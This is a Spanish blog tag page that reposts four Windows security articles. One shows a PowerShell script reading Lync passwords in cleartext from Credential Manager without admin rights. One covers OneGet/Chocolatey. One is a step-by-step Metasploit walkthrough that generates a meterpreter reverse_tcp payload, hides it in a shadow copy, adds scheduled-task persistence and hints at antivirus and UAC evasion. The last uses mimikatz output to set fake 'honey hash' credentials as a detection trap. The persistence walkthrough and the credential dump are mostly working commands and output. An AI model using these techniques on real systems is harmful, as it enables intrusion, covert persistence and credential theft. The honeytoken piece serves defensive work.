Mostrando entradas con la etiqueta windows. Mostrar todas las entradas
Mostrando entradas con la etiqueta windows. Mostrar todas las entradas

martes, 3 de noviembre de 2015

Obtener la contraseña de Lync (Skype for Business) con PowerShell desde el Windows Credential Manager

Por vicisitudes de la vida me ha tocado enredar con el almacén de credenciales (Windows Credential Manager) en Microsoft Windows 7 - funciona igual en Windows 8, Windows 10 o Window Server 2012 -, todo gracias a ese preciado producto de Microsoft que es Outlook y su integración con Active Directory. Para lo que quiero hacer, Powershell es algo así como la herramienta definitiva ya que igual te vale para administrar los sistemas eficientemente como para hacer Pentesting con PowerShell en una red Windows. En el artículo de hoy, el uso de PowerShell podría decirse que su uso es para ambos fines, y que dependerá de cada uno el uso que se le quiera dar.


Figura 1: Obtener la contraseña de Lync con PowerShell

Para simplificar aún más las cosas voy a hacer uso del script Credman.ps1 del bello JimmyJoeBob Alooba que permite gestionar el almacén de credenciales de máquinas Windows, y que en este caso vamos a utilizar con la cuenta del propio usuario de la máquina - sin ser administrador del equipo -.

Acceso a datos de Windows Credential Manager

El funcionamiento es sencillo. Tras descargarlo, hay que firmar el script digitalmente, ya que tenemos aplicada la política AllSigned como forma de fortificación de ejecución de software en nuestros equipos Windows. En un primer intento, tras ejecutarlo y lista mis credenciales, sin sacar una contraseña alguna por el momento.


Figura 2: Listando credenciales almacenadas en Windows Credential Manager de Windows

Hay que comentar que en el almacén de credenciales de Microsoft no solo se guarda información permanente - lo que marcamos como "recordar contraseña" -, sino que también aparece información volátil y de sesión. Y aquí es donde entra en juego Microsoft Lync 2013.

Las credenciales de MS Lync (Skype for Business)

Supongo que si digo que actualmente se llama "Skype for Business" queda todo explicado sobre la idea de la herramienta. Una de las mejores posibilidades es la de integrarse en Active Directory e integrarse con líneas de telefonía dentro de la estrategia de Comunicaciones Unificadas que muchas empresas aplican. Además, se enlaza con Microsoft Outlook para obtener contactos, almacenar conversaciones, etcétera.

Una vez que se ha instalado en el equipo Microsoft Lync 2013 y se ha iniciado sesión, el comportamiento del script cambia. Si volvemos a lanzar exactamente el mismo script podemos ver que salen mis contraseñas de Microsoft Lync 2013 en texto claro.


Figura 3: Con Microsoft Lync con una sesión activa se muestran las credenciales

Si alguien es capaz de acceder durante unos instantes a mi sesión de escritorio y lanzar el script, en PowerShell podría robar mis credenciales para conectarse al correo electrónico, recursos de red, tal vez VPNs, etcétera. También podría hacer llamadas telefónicas a través de otra instancia de Microsoft Lync utilizando mi identidad y cargar todas las llamadas a mi cuenta.

Las credenciales de la cuenta de Microsoft Lync quedan ahí mientras que la sesión está abierta e incluso pasado un buen rato después de que se cierre la sesión se sigue mostrando Solo se borra automáticamente si se vuelve a abrir Microsoft Lync con otra cuenta o si reiniciamos la sesión. La explicación de por qué están las credenciales ahí se debe a la integración del servicio con todos los servicios. En algún momento necesitará autenticarse en otros servicios y por eso recuerda la contraseña en la sesión, aunque tal vez debería guardarla cifrada en el Windows Credential Manager.


Figura 4: En Windows Credential Manager se muestra que
la cuenta tiene la contraseña guardada, pero no se ve.

Una última prueba que queda por hacer es ver si la GUI del administrador de credenciales también muestra la contraseña o no.


Figura 5: Edición de datos de la credencial

Como se puede ver, parece que no. El interfaz gráfico sí que tiene alguna protección para no mostrar esa información sensible. Ni siquiera se muestra el campo con herramientas como WinSpy. Este funcionamiento es similar a cómo se guarda la cuenta de la sesión de Windows cuando se autentica en un equipo con un usuario de Windows Live.


Figura 6: Windows Credential Manager en Windows 8 con
almacenamiento de datos de Windows Live

La ventaja de este sistema tan sencillo de usar el script para listar las identidades frente a usar una herramienta más agresiva como Mimikatz o los volcados de memoria - para el caso de Microsoft Lync o cualquier otro sistema que almacene credenciales temporalmente sin cifrar - es que no es bloqueado por el sistema antimalware del sistema ni necesitamos privilegios de administrador para acceder a los datos. Al fin y al cabo no es más que utilizar herramientas del propio sistema como PowerShell con los permisos de usuario.

Autor: Jdeisusi

Fuente: http://www.elladodelmal.com/2015/10/obtener-la-contrasena-de-lync-skype-for.html

viernes, 7 de agosto de 2015

OneGet y Chocolatey, un "apt-get" para Windows

Una de las novedades de Windows 10 es la inclusión de OneGet, un interfaz de código abierto para sistemas de administración de paquetes con el que podemos:

- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell

Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.

Veamos un ejemplo instalando VLC en Windows 10:


C:\>  get-packageprovider -name chocolatey

The provider 'chocolatey v2.8.5.130' is not installed.
chocolatey may be manually downloaded from https://oneget.org/ChocolateyPr30.exe and installed.
Would you like PackageManagement to automatically download and install 'chocolatey'?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

Name                     Version          
----                     -------          
Chocolatey               2.8.5.130        

C:\> install-package vlc

The provider 'nuget v2.8.5.127' is not installed.
nuget may be manually downloaded from https://oneget.org/nuget-anycpu-2.8.5.127.exe and installed.
Would you like PackageManagement to automatically download and install 'nuget' now?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

The package(s) come from a package source that is not marked as trusted.
Are you sure you want to install software from 'chocolatey'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y

Name                           Version          Source           Summary
----                           -------          ------           -------
vlc                            2.2.1.20150630   chocolatey       VLC Media Player

Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/


Fuente:http://www.hackplayers.com/2015/08/oneget-y-chocolatey-un-apt-get-para-windows.html

lunes, 16 de febrero de 2015

Ocultar payloads persistentes en volúmenes 'shadow copy' de Windows


En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...

Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar  \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable. 
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.

De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/

Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe

A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops

Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.177.128:80 
[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100

meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer        : PC102-23DRW
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter     : x86/win32

Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background 
[*] Backgrounding session 1...


msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  2   meterpreter x86/win32  PANDORA\vmotos @ PC102-23DRW  192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
  
msf exploit(handler) > use post/windows/manage/vss_persistence 

msf exploit(vss_persistence) > show options

Module options (exploit/windows/manage/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    1                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true             yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   false            yes       Create AutoRun Key for the EXE
   SCHTASK  false            yes       Create a Scheduled Task for the EXE.
   SESSION                   yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true

msf exploit(vss_persistence) > set session 1
session => 1

msf exploit(vss_persistence) > exploit

[*] Started reverse handler on 192.168.177.128:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100

Y ya lo tenemos.

pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...
 
Fuente: http://www.hackplayers.com/2013/10/ocultar-payloads-persistentes-en-vss.html

Detectar el uso de Mimikatz en la red ("Honey Hash Tokens")


La opción /netonly del comando runas se utiliza para lanzar un programa como un usuario que existe en una máquina remota. El sistema acepta el nombre y la contraseña para ese usuario remoto y crea un token de autenticación en la memoria de su proceso LSASS sin ninguna interacción con el host remoto.

¿Qué pasa si ejecutamos el siguiente comando en nuestro equipo Windows?

runas /user:microsoft.com\administrator /netonly cmd.exe
 
El comando que se ejecuta en realidad no tiene ningún acceso elevado en la máquina y la contraseña no es válida, evidentemente no es una amenaza para Microsoft. Windows no intenta autenticarse en el dominio Microsoft.com para iniciar el proceso. Asume que las credenciales son correctas, calcula el hash y lo almacena en la memoria para su uso futuro.

Más adelante, si se intenta acceder a un recurso en ese dominio, automáticamente se "pasará el HASH" al sistema remoto para entrar. Pero hasta que se intente acceder al host remoto, las contraseñas se quedan almacenadas en memoria.


¿Qué significa eso? Pues que podemos "inundar" nuestro sistema de credenciales falsas para ponérselas en bandeja memoria a un atacante. Por ejemplo:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 3420125 (00000000:002c38b2)
Session           : NewCredentials from 0
User Name         : usuario
Domain            : dominio
SID               : S-1-5-21-2342468007-2769232512-6969471351-1000
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : microsoft.com
         * NTLM     : d139627ea1a54be9b04f2158a4d10b93
         * SHA1     : 2c19cfd8f7a112f29a7183e8ed4db7e68e714049
        tspkg :
        wdigest :
         * Username : administrator
         * Domain   : microsoft.com
         * Password : falsa
        kerberos :
         * Username : administrator
         * Domain   : microsoft.com
         * Password : falsa
        ssp :
        credman :

Es es el resultado de nuestros "Honey Hash Tokens" (ver también honeytoken). Cualquiera que utilice mimikatz, meterpreter, procdump.exe u otra herramienta para robar las contraseñas en memoria podrá llevarse a engaño. Evidentemente herramientas que obtienen los hashes en disco como hashdump no funcionarán.

Pero ahí está la idea: elegir un nombre de usuario creíble y que parezca que tenga privilegios elevados en el dominio, generar las credenciales falsas en la memoria de los servidores que están más en el punto de mira (por ejemplo los de la DMZ) y preparar alertas en la red para avisarnos de intentos de uso de estas cuentas falsas.

¡Buena caza!

Fuente: Detecting Mimikatz Use On Your Network
 
Fuente: http://www.hackplayers.com/2015/02/detectar-el-uso-de-mimikatz-en-la-red.html